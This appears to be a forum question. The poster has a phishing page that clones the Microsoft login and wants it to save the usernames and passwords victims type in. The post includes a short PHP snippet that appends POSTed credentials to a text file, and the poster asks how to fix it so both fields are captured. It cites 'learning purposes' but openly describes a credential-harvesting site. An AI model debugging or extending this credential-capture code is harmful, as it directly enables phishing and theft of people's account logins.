the problem is that I have a phishing site that i found on github , i would like to expand upon it to store entered username and password. The issue is it is in HTML and im not too sure how to approach t his task. I tried using php but only the username saves for some reason.

 <?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Save the username and password data to the file
    $username = $_POST["uname"];
    $password = $_POST["pass"];
    file_put_contents("usernames_and_passwords.txt", "Username: $username - Password:         $passwordn", FILE_APPEND);
}
?>

This failed miserably as only the username saved. How can I successfully save a text file such as codes.txt that contains the username and password entered on my Apache site. Note this is for learning purposes. Here is the code i am using.
https://github.com/Octagon-simon/microsoft-login-clone/blob/main/index.html